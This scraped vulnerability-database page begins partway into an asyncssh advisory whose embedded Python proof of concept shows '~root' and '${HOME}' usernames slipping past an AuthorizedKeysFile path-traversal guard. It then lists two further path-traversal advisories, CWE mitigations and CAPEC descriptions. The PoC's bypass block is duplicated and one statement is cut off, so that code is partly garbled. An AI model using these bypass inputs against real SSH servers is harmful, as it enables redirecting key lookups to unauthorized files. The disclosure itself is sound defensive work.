expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-qr67-gv47-xwwh",
"modified": "2026-08-26T15:32:00Z",
"published": "2026-08-26T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
GHSA-QR6G-WMFJ-4XHV
Vulnerability from github – Published: 2026-06-27 00:30 – Updated: 2026-06-27 00:30Various versions of Daktronics Controller Firmware could allow authenticated and unauthenticated remote users to escape the intended directory and enumerate arbitrary file system paths.
{
"affected": [],
"aliases": [
"CVE-2026-28701"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T23:17:08Z",
"severity": "CRITICAL"
},
"details": "Various versions of Daktronics Controller Firmware could allow authenticated and unauthenticated remote users to escape the intended directory and enumerate arbitrary file system paths.",
"id": "GHSA-qr6g-wmfj-4xhv",
"modified": "2026-06-27T00:30:31Z",
"published": "2026-06-27T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28701"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-176-04.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-176-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QR7H-5J5W-HPQJ
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in QuantumCloud Conversational Forms for ChatBot allows Path Traversal.
This issue affects Conversational Forms for ChatBot: from n/a through 1.1.8.
{
"affected": [],
"aliases": [
"CVE-2024-32729"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:19:11Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in QuantumCloud Conversational Forms for ChatBot allows Path Traversal.\n\nThis issue affects Conversational Forms for ChatBot: from n/a through 1.1.8.",
"id": "GHSA-qr7h-5j5w-hpqj",
"modified": "2026-06-17T18:35:41Z",
"published": "2026-06-17T18:35:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32729"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/conversational-forms/vulnerability/wordpress-chatbot-conversational-forms-plugin-1-1-8-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.